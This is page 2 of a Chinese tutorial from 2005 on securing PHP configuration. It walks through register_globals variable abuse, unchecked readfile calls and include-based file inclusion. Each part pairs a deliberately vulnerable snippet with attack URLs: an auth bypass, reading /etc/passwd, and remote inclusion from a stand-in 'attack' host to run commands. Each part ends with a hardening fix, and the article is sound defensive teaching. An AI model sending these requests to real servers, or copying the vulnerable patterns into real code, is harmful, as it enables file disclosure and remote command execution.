正 文

安全配置你的PHP


www.7dspace.com  更新日期:2005-8-16 3:26:04  七度空间


2、变量滥用

  PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
  
  //test_1.php

  if ($pass == "hello")

   $auth = 1;  

  if ($auth == 1)

  echo "some important information";

  else

  echo "nothing";

  ?>  

  攻击者只需用如下的请求就能绕过检查:

  http://victim/test_1.php?auth=1

  这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

  PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

  解决方法:

  配置文件php.ini设置register_globals = Off。

  要求程序员对作为判断的变量在程序最开始初始化一个值。

  3、文件打开

  极易受攻击的代码片断:

  
  //test_2.php

  if (!($str = readfile("$filename"))) {

   echo("Could not open file: $filename
\n");

   exit;

  }

  else {

   echo $str;

  }

  ?>

  由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

  http://victim/test_2.php?filename=/etc/passwd

  如下请求可以读php文件本身:

  http://victim/test_2.php?filename=test_2.php

  PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

  解决方法:

  如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

   php_admin_value open_basedir /usr/local/apache/htdocs

  重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

  Warning: open_basedir restriction in effect.

  File is in wrong directory in xxx on line xx.

  使用safe_mode模式也能避免这种问题,前面已经讨论过了。

  4、包含文件

  极易受攻击的代码片断:

  
  //test_3.php

  if(file_exists($filename))

   include("$filename");

  ?>

  这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

  http://victim/test_3.php?filename=/etc/passwd

  如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:

  http://victim/test_3.php?filename=http://attack/attack.txt

  攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

  对于另外一种形式,如下代码片断:

  
  //test_4.php

  include("$lib/config.php");

  ?>

  攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

  http://victim/test_4.php?lib=http://attack

  PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

  解决方法:

  要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

  如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

  allow_url_fopen = Off

  重启apache。 (未完)

4页,当前在第2页  1  2  3  4  

上一篇:PHP开发中文件操作疑难问答
下一篇:如何正确理解PHP的错误信息
作者:  来源: ( 责任编辑:7dspace )
收藏此页】【打印】【关闭
站 内 搜 索
 

热 点 导 读
特 别 推 荐